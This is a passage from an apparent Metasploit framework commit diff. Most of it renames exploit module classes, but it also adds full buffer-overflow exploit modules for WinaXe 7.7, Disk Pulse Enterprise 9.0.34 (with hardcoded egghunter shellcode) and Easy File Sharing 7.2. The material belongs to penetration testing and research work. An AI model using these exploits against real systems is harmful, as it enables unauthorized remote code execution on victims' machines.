'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Egghunter diff --git a/modules/exploits/windows/ftp/servu_mdtm.rb b/modules/exploits/windows/ftp/servu_mdtm.rb index 75c3f1fa63..eb547b3b9a 100644 --- a/modules/exploits/windows/ftp/servu_mdtm.rb +++ b/modules/exploits/windows/ftp/servu_mdtm.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::Ftp diff --git a/modules/exploits/windows/ftp/slimftpd_list_concat.rb b/modules/exploits/windows/ftp/slimftpd_list_concat.rb index dca878528b..5be79c2078 100644 --- a/modules/exploits/windows/ftp/slimftpd_list_concat.rb +++ b/modules/exploits/windows/ftp/slimftpd_list_concat.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Ftp diff --git a/modules/exploits/windows/ftp/trellian_client_pasv.rb b/modules/exploits/windows/ftp/trellian_client_pasv.rb index de59a26cc6..0ed324112a 100644 --- a/modules/exploits/windows/ftp/trellian_client_pasv.rb +++ b/modules/exploits/windows/ftp/trellian_client_pasv.rb @@ -3,7 +3,7 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::TcpServer diff --git a/modules/exploits/windows/ftp/turboftp_port.rb b/modules/exploits/windows/ftp/turboftp_port.rb index 92ff75127d..57a026c205 100644 --- a/modules/exploits/windows/ftp/turboftp_port.rb +++ b/modules/exploits/windows/ftp/turboftp_port.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Ftp diff --git a/modules/exploits/windows/ftp/vermillion_ftpd_port.rb b/modules/exploits/windows/ftp/vermillion_ftpd_port.rb index b587adc4f6..18fc0971bb 100644 --- a/modules/exploits/windows/ftp/vermillion_ftpd_port.rb +++ b/modules/exploits/windows/ftp/vermillion_ftpd_port.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Ftp diff --git a/modules/exploits/windows/ftp/warftpd_165_pass.rb b/modules/exploits/windows/ftp/warftpd_165_pass.rb index 1b8205a688..7c797946c4 100644 --- a/modules/exploits/windows/ftp/warftpd_165_pass.rb +++ b/modules/exploits/windows/ftp/warftpd_165_pass.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Ftp diff --git a/modules/exploits/windows/ftp/warftpd_165_user.rb b/modules/exploits/windows/ftp/warftpd_165_user.rb index 3dbe048b51..4337793eac 100644 --- a/modules/exploits/windows/ftp/warftpd_165_user.rb +++ b/modules/exploits/windows/ftp/warftpd_165_user.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Ftp diff --git a/modules/exploits/windows/ftp/wftpd_size.rb b/modules/exploits/windows/ftp/wftpd_size.rb index 1542008c2b..109c13a220 100644 --- a/modules/exploits/windows/ftp/wftpd_size.rb +++ b/modules/exploits/windows/ftp/wftpd_size.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Ftp diff --git a/modules/exploits/windows/ftp/winaxe_server_ready.rb b/modules/exploits/windows/ftp/winaxe_server_ready.rb new file mode 100644 index 0000000000..91f7c27187 --- /dev/null +++ b/modules/exploits/windows/ftp/winaxe_server_ready.rb @@ -0,0 +1,71 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = GoodRanking + + include Msf::Exploit::Remote::FtpServer + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'WinaXe 7.7 FTP Client Remote Buffer Overflow', + 'Description' => %q{ + This module exploits a buffer overflow in the WinaXe 7.7 FTP client. + This issue is triggered when a client connects to the server and is + expecting the Server Ready response. + }, + 'Author' => + [ + 'Chris Higgins', # msf Module -- @ch1gg1ns + 'hyp3rlix' # Original discovery + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'EDB', '40693'], + [ 'URL', 'http://hyp3rlinx.altervista.org/advisories/WINAXE-FTP-CLIENT-REMOTE-BUFFER-OVERFLOW.txt' ] + ], + 'DefaultOptions' => + { + 'EXITFUNC' => 'thread' + }, + 'Payload' => + { + 'Space' => 1000, + 'BadChars' => "\x00\x0a\x0d" + }, + 'Platform' => 'win', + 'Targets' => + [ + [ 'Windows Universal', + { + 'Offset' => 2065, + 'Ret' => 0x68017296 # push esp # ret 0x04 WCMDPA10.dll + } + ] + ], + 'Privileged' => false, + 'DisclosureDate' => 'Nov 03 2016', + 'DefaultTarget' => 0)) + end + + def on_client_unknown_command(c, _cmd, _arg) + c.put("200 OK\r\n") + end + + def on_client_connect(c) + print_status("Client connected...") + + sploit = rand_text(target['Offset']) + sploit << [target.ret].pack('V') + sploit << make_nops(10) + sploit << payload.encoded + sploit << make_nops(20) + + c.put("220" + sploit + "\r\n") + c.close + end + +end diff --git a/modules/exploits/windows/ftp/wing_ftp_admin_exec.rb b/modules/exploits/windows/ftp/wing_ftp_admin_exec.rb index edefcd67a2..e333456c17 100644 --- a/modules/exploits/windows/ftp/wing_ftp_admin_exec.rb +++ b/modules/exploits/windows/ftp/wing_ftp_admin_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::CmdStager include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/windows/ftp/wsftp_server_503_mkd.rb b/modules/exploits/windows/ftp/wsftp_server_503_mkd.rb index d5bcefe4af..4ecd12e46f 100644 --- a/modules/exploits/windows/ftp/wsftp_server_503_mkd.rb +++ b/modules/exploits/windows/ftp/wsftp_server_503_mkd.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Ftp diff --git a/modules/exploits/windows/ftp/wsftp_server_505_xmd5.rb b/modules/exploits/windows/ftp/wsftp_server_505_xmd5.rb index aef6f65f7d..e73dc1f1e4 100644 --- a/modules/exploits/windows/ftp/wsftp_server_505_xmd5.rb +++ b/modules/exploits/windows/ftp/wsftp_server_505_xmd5.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Ftp diff --git a/modules/exploits/windows/ftp/xftp_client_pwd.rb b/modules/exploits/windows/ftp/xftp_client_pwd.rb index e4a300eca7..56db38b8d8 100644 --- a/modules/exploits/windows/ftp/xftp_client_pwd.rb +++ b/modules/exploits/windows/ftp/xftp_client_pwd.rb @@ -3,7 +3,7 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::TcpServer diff --git a/modules/exploits/windows/ftp/xlink_client.rb b/modules/exploits/windows/ftp/xlink_client.rb index 3ae6ee1c56..fac246c6f9 100644 --- a/modules/exploits/windows/ftp/xlink_client.rb +++ b/modules/exploits/windows/ftp/xlink_client.rb @@ -3,7 +3,7 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::TcpServer diff --git a/modules/exploits/windows/ftp/xlink_server.rb b/modules/exploits/windows/ftp/xlink_server.rb index 3b3d16a5ae..89ce3fd299 100644 --- a/modules/exploits/windows/ftp/xlink_server.rb +++ b/modules/exploits/windows/ftp/xlink_server.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::Ftp diff --git a/modules/exploits/windows/games/mohaa_getinfo.rb b/modules/exploits/windows/games/mohaa_getinfo.rb index 406afdf4dc..6589171d8d 100644 --- a/modules/exploits/windows/games/mohaa_getinfo.rb +++ b/modules/exploits/windows/games/mohaa_getinfo.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Udp diff --git a/modules/exploits/windows/games/racer_503beta5.rb b/modules/exploits/windows/games/racer_503beta5.rb index e5dc86d847..5a4354bc73 100644 --- a/modules/exploits/windows/games/racer_503beta5.rb +++ b/modules/exploits/windows/games/racer_503beta5.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Udp diff --git a/modules/exploits/windows/games/ut2004_secure.rb b/modules/exploits/windows/games/ut2004_secure.rb index c586e98158..e0349a6926 100644 --- a/modules/exploits/windows/games/ut2004_secure.rb +++ b/modules/exploits/windows/games/ut2004_secure.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::Udp diff --git a/modules/exploits/windows/http/adobe_robohelper_authbypass.rb b/modules/exploits/windows/http/adobe_robohelper_authbypass.rb index 0d3a53e3de..a4f19815f1 100644 --- a/modules/exploits/windows/http/adobe_robohelper_authbypass.rb +++ b/modules/exploits/windows/http/adobe_robohelper_authbypass.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking HttpFingerprint = { :pattern => [ /Apache-Coyote/ ] } diff --git a/modules/exploits/windows/http/altn_securitygateway.rb b/modules/exploits/windows/http/altn_securitygateway.rb index 88bd797a13..330a09117d 100644 --- a/modules/exploits/windows/http/altn_securitygateway.rb +++ b/modules/exploits/windows/http/altn_securitygateway.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking # XXX: Automatic targetting used HttpFingerprint = { :uri => '/SecurityGateway.dll', :pattern => [ /SecurityGateway / ] } diff --git a/modules/exploits/windows/http/altn_webadmin.rb b/modules/exploits/windows/http/altn_webadmin.rb index 7336b28f7b..62df0874e3 100644 --- a/modules/exploits/windows/http/altn_webadmin.rb +++ b/modules/exploits/windows/http/altn_webadmin.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/windows/http/amlibweb_webquerydll_app.rb b/modules/exploits/windows/http/amlibweb_webquerydll_app.rb index 074f885b40..dc3171e2d5 100644 --- a/modules/exploits/windows/http/amlibweb_webquerydll_app.rb +++ b/modules/exploits/windows/http/amlibweb_webquerydll_app.rb @@ -6,7 +6,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/http/apache_chunked.rb b/modules/exploits/windows/http/apache_chunked.rb index 4f305e2f1a..99a7f4e393 100644 --- a/modules/exploits/windows/http/apache_chunked.rb +++ b/modules/exploits/windows/http/apache_chunked.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking HttpFingerprint = { :pattern => [ /Apache/ ] } diff --git a/modules/exploits/windows/http/apache_mod_rewrite_ldap.rb b/modules/exploits/windows/http/apache_mod_rewrite_ldap.rb index 689f107920..d2f50d14d3 100644 --- a/modules/exploits/windows/http/apache_mod_rewrite_ldap.rb +++ b/modules/exploits/windows/http/apache_mod_rewrite_ldap.rb @@ -6,7 +6,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/windows/http/apache_modjk_overflow.rb b/modules/exploits/windows/http/apache_modjk_overflow.rb index 3569fe8827..add74bc934 100644 --- a/modules/exploits/windows/http/apache_modjk_overflow.rb +++ b/modules/exploits/windows/http/apache_modjk_overflow.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/http/avaya_ccr_imageupload_exec.rb b/modules/exploits/windows/http/avaya_ccr_imageupload_exec.rb index ee569d496f..690467f2e8 100644 --- a/modules/exploits/windows/http/avaya_ccr_imageupload_exec.rb +++ b/modules/exploits/windows/http/avaya_ccr_imageupload_exec.rb @@ -6,7 +6,7 @@ require 'uri' require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/windows/http/badblue_ext_overflow.rb b/modules/exploits/windows/http/badblue_ext_overflow.rb index 64898f93cc..8ea6438d3a 100644 --- a/modules/exploits/windows/http/badblue_ext_overflow.rb +++ b/modules/exploits/windows/http/badblue_ext_overflow.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking # NOTE: BadBlue doesn't give any HTTP headers when requesting '/'. diff --git a/modules/exploits/windows/http/badblue_passthru.rb b/modules/exploits/windows/http/badblue_passthru.rb index ac84d2ff34..841642ef04 100644 --- a/modules/exploits/windows/http/badblue_passthru.rb +++ b/modules/exploits/windows/http/badblue_passthru.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking # NOTE: BadBlue doesn't give any HTTP headers when requesting '/'. diff --git a/modules/exploits/windows/http/bea_weblogic_jsessionid.rb b/modules/exploits/windows/http/bea_weblogic_jsessionid.rb index 2119b57aab..f17d84ac56 100644 --- a/modules/exploits/windows/http/bea_weblogic_jsessionid.rb +++ b/modules/exploits/windows/http/bea_weblogic_jsessionid.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/http/bea_weblogic_post_bof.rb b/modules/exploits/windows/http/bea_weblogic_post_bof.rb index 6cf9e98863..e9fbfad2f7 100644 --- a/modules/exploits/windows/http/bea_weblogic_post_bof.rb +++ b/modules/exploits/windows/http/bea_weblogic_post_bof.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking HttpFingerprint = { :pattern => [ /Apache/ ] } diff --git a/modules/exploits/windows/http/bea_weblogic_transfer_encoding.rb b/modules/exploits/windows/http/bea_weblogic_transfer_encoding.rb index df52e63683..58e78c7b8d 100644 --- a/modules/exploits/windows/http/bea_weblogic_transfer_encoding.rb +++ b/modules/exploits/windows/http/bea_weblogic_transfer_encoding.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking HttpFingerprint = { :pattern => [ /Apache/ ] } diff --git a/modules/exploits/windows/http/belkin_bulldog.rb b/modules/exploits/windows/http/belkin_bulldog.rb index a314fa36cf..0f139255d0 100644 --- a/modules/exploits/windows/http/belkin_bulldog.rb +++ b/modules/exploits/windows/http/belkin_bulldog.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/windows/http/ca_arcserve_rpc_authbypass.rb b/modules/exploits/windows/http/ca_arcserve_rpc_authbypass.rb index 9f5251b4e1..05e2613719 100644 --- a/modules/exploits/windows/http/ca_arcserve_rpc_authbypass.rb +++ b/modules/exploits/windows/http/ca_arcserve_rpc_authbypass.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/windows/http/ca_igateway_debug.rb b/modules/exploits/windows/http/ca_igateway_debug.rb index c2bb5bdf61..4069ec878d 100644 --- a/modules/exploits/windows/http/ca_igateway_debug.rb +++ b/modules/exploits/windows/http/ca_igateway_debug.rb @@ -3,7 +3,7 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/http/ca_totaldefense_regeneratereports.rb b/modules/exploits/windows/http/ca_totaldefense_regeneratereports.rb index bc48f73fd8..1b994c17e7 100644 --- a/modules/exploits/windows/http/ca_totaldefense_regeneratereports.rb +++ b/modules/exploits/windows/http/ca_totaldefense_regeneratereports.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::CmdStager @@ -110,7 +110,7 @@ class Metasploit3 < Msf::Exploit::Remote def exploit - if not datastore['CMD'].empty? + unless datastore['CMD'].blank? print_status("Executing command '#{datastore['CMD']}'") execute_command(datastore['CMD']) return diff --git a/modules/exploits/windows/http/cogent_datahub_command.rb b/modules/exploits/windows/http/cogent_datahub_command.rb index d9efe9d560..2fb6931fe2 100644 --- a/modules/exploits/windows/http/cogent_datahub_command.rb +++ b/modules/exploits/windows/http/cogent_datahub_command.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote # Exploitation is reliable, but the service hangs and needs manual restarting. Rank = ManualRanking diff --git a/modules/exploits/windows/http/cogent_datahub_request_headers_bof.rb b/modules/exploits/windows/http/cogent_datahub_request_headers_bof.rb index e0865db4c7..11dc34709f 100644 --- a/modules/exploits/windows/http/cogent_datahub_request_headers_bof.rb +++ b/modules/exploits/windows/http/cogent_datahub_request_headers_bof.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/windows/http/coldfusion_fckeditor.rb b/modules/exploits/windows/http/coldfusion_fckeditor.rb index 769d496259..4936809590 100644 --- a/modules/exploits/windows/http/coldfusion_fckeditor.rb +++ b/modules/exploits/windows/http/coldfusion_fckeditor.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking diff --git a/modules/exploits/windows/http/cyclope_ess_sqli.rb b/modules/exploits/windows/http/cyclope_ess_sqli.rb index a0747c46a7..3ce543f576 100644 --- a/modules/exploits/windows/http/cyclope_ess_sqli.rb +++ b/modules/exploits/windows/http/cyclope_ess_sqli.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/windows/http/desktopcentral_file_upload.rb b/modules/exploits/windows/http/desktopcentral_file_upload.rb index 5525b7fb10..ea7669bbee 100644 --- a/modules/exploits/windows/http/desktopcentral_file_upload.rb +++ b/modules/exploits/windows/http/desktopcentral_file_upload.rb @@ -6,7 +6,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/windows/http/desktopcentral_statusupdate_upload.rb b/modules/exploits/windows/http/desktopcentral_statusupdate_upload.rb index 079cdae430..ab88da7094 100644 --- a/modules/exploits/windows/http/desktopcentral_statusupdate_upload.rb +++ b/modules/exploits/windows/http/desktopcentral_statusupdate_upload.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/windows/http/disk_pulse_enterprise_bof.rb b/modules/exploits/windows/http/disk_pulse_enterprise_bof.rb new file mode 100644 index 0000000000..ec8e271c6a --- /dev/null +++ b/modules/exploits/windows/http/disk_pulse_enterprise_bof.rb @@ -0,0 +1,120 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::Egghunter + include Msf::Exploit::Remote::Seh + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Disk Pulse Enterprise Login Buffer Overflow', + 'Description' => %q{ + This module exploits a stack buffer overflow in Disk Pulse Enterprise + 9.0.34. If a malicious user sends a malicious HTTP login request, + it is possible to execute a payload that would run under the Windows + NT AUTHORITY\SYSTEM account. Due to size constraints, this module + uses the Egghunter technique. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Chris Higgins', # msf Module -- @ch1gg1ns + 'Tulpa Security' # Original discovery -- @tulpa_security + ], + 'References' => + [ + [ 'EDB', '40452' ] + ], + 'DefaultOptions' => + { + 'EXITFUNC' => 'thread' + }, + 'Platform' => 'win', + 'Payload' => + { + 'BadChars' => "\x00\x0a\x0d\x26" + }, + 'Targets' => + [ + [ 'Disk Pulse Enterprise 9.0.34', + { + 'Ret' => 0x10013AAA, # pop ebp # pop ebx # ret 0x04 - libspp.dll + 'Offset' => 12600 + } + ], + ], + 'Privileged' => true, + 'DisclosureDate' => 'Oct 03 2016', + 'DefaultTarget' => 0)) + + register_options([Opt::RPORT(80)], self.class) + + end + + def check + res = send_request_cgi({ + 'uri' => '/', + 'method' => 'GET' + }) + + if res and res.code == 200 and res.body =~ /Disk Pulse Enterprise v9\.0\.34/ + return Exploit::CheckCode::Appears + end + + return Exploit::CheckCode::Safe + end + + def exploit + connect + eggoptions = + { + :checksum => true, + :eggtag => "w00t" + } + + print_status("Generating exploit...") + + sploit = "username=admin" + sploit << "&password=aaaaa\r\n" + + # Would like to use generate_egghunter(), looking for improvement + egghunter = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74" + egghunter += "\xef\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7" + + sploit << rand_text(target['Offset'] - payload.encoded.length) + sploit << "w00tw00t" + sploit << payload.encoded + sploit << make_nops(70) + sploit << rand_text(1614) + # Would like to use generate_seh_record(), looking for improvement + sploit << "\x90\x90\xEB\x0B" + sploit << "\x33\xA3\x01\x10" + sploit << make_nops(20) + sploit << egghunter + sploit << make_nops(7000) + + # Total exploit size should be 21747 + print_status("Total exploit size: " + sploit.length.to_s) + print_status("Triggering the exploit now...") + print_status("Please be patient, the egghunter may take a while...") + + res = send_request_cgi({ + 'uri' => '/login', + 'method' => 'POST', + 'content-type' => 'application/x-www-form-urlencoded', + 'content-length' => '17000', + 'data' => sploit + }) + + handler + disconnect + + end +end diff --git a/modules/exploits/windows/http/easyfilesharing_seh.rb b/modules/exploits/windows/http/easyfilesharing_seh.rb new file mode 100644 index 0000000000..4a02be69fd --- /dev/null +++ b/modules/exploits/windows/http/easyfilesharing_seh.rb @@ -0,0 +1,66 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Exploit::Remote + + Rank = NormalRanking + + include Msf::Exploit::Remote::Tcp + include Msf::Exploit::Seh + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Easy File Sharing HTTP Server 7.2 SEH Overflow', + 'Description' => %q{ + This module exploits a SEH overflow in the Easy File Sharing FTP Server 7.2 software. + }, + 'Author' => 'Starwarsfan2099 ', + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'EDB', '39008' ], + ], + 'Privileged' => true, + 'Payload' => + { + 'Space' => 390, + 'BadChars' => "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e", + 'StackAdjustment' => -3500, + }, + 'Platform' => 'win', + 'Targets' => + [ + [ 'Easy File Sharing 7.2 HTTP', { 'Ret' => 0x10019798 } ], + ], + 'DefaultOptions' => { + 'RPORT' => 80 + }, + 'DisclosureDate' => 'Dec 2 2015', + 'DefaultTarget' => 0)) + end + + def print_status(msg='') + super("#{peer} - #{msg}") + end + + def exploit + connect + print_status("Sending exploit...") + sploit = "GET " + sploit << rand_text_alpha_upper(4061) + sploit << generate_seh_record(target.ret) + sploit << make_nops(19) + sploit << payload.encoded + sploit << make_nops(7) + sploit << rand_text_alpha_upper(4500 - 4061 - 4 - 4 - 20 - payload.encoded.length - 20) + sploit << " HTTP/1.0\r\n\r\n" + sock.put(sploit) + print_good("Exploit Sent") + handler + disconnect + end +end diff --git a/modules/exploits/windows/http/easyftp_list.rb b/modules/exploits/windows/http/easyftp_list.rb index c7ef5b6ee7..3312904f79 100644 --- a/modules/exploits/windows/http/easyftp_list.rb +++ b/modules/exploits/windows/http/easyftp_list.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking HttpFingerprint = { :pattern => [ /Easy-Web Server\// ] } @@ -70,8 +70,8 @@ class Metasploit3 < Msf::Exploit::Remote register_options( [ Opt::RPORT(8080), - OptString.new('USERNAME', [true, 'The HTTP username to specify for basic authentication', 'anonymous']), - OptString.new('PASSWORD', [true, 'The HTTP password to specify for basic authentication', 'mozilla@example.com']) + OptString.new('HttpUsername', [true, 'The HTTP username to specify for basic authentication', 'anonymous']), + OptString.new('HttpPassword', [true, 'The HTTP password to specify for basic authentication', 'mozilla@example.com']) ], self.class) end diff --git a/modules/exploits/windows/http/edirectory_host.rb b/modules/exploits/windows/http/edirectory_host.rb index 7daa7bff70..9dd6288406 100644 --- a/modules/exploits/windows/http/edirectory_host.rb +++ b/modules/exploits/windows/http/edirectory_host.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/http/edirectory_imonitor.rb b/modules/exploits/windows/http/edirectory_imonitor.rb index ff37a76faa..b6b34663cd 100644 --- a/modules/exploits/windows/http/edirectory_imonitor.rb +++ b/modules/exploits/windows/http/edirectory_imonitor.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking HttpFingerprint = { :pattern => [ /DHost\//, /HttpStk\// ] } # custom port diff --git a/modules/exploits/windows/http/efs_easychatserver_username.rb b/modules/exploits/windows/http/efs_easychatserver_username.rb index 853bc561cd..6d763d06ed 100644 --- a/modules/exploits/windows/http/efs_easychatserver_username.rb +++ b/modules/exploits/windows/http/efs_easychatserver_username.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking HttpFingerprint = { :pattern => [ /Easy Chat Server\/1\.0/ ] } diff --git a/modules/exploits/windows/http/efs_fmws_userid_bof.rb b/modules/exploits/windows/http/efs_fmws_userid_bof.rb index c71ee36629..1ddad4cad6 100644 --- a/modules/exploits/windows/http/efs_fmws_userid_bof.rb +++ b/modules/exploits/windows/http/efs_fmws_userid_bof.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking # Reliable memory corruption include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/windows/http/ektron_xslt_exec.rb b/modules/exploits/windows/http/ektron_xslt_exec.rb index 3288d2c0d2..807f2ad8f2 100644 --- a/modules/exploits/windows/http/ektron_xslt_exec.rb +++ b/modules/exploits/windows/http/ektron_xslt_exec.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'msf/core/exploit/file_dropper' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/windows/http/ericom_access_now_bof.rb b/modules/exploits/windows/http/ericom_access_now_bof.rb index 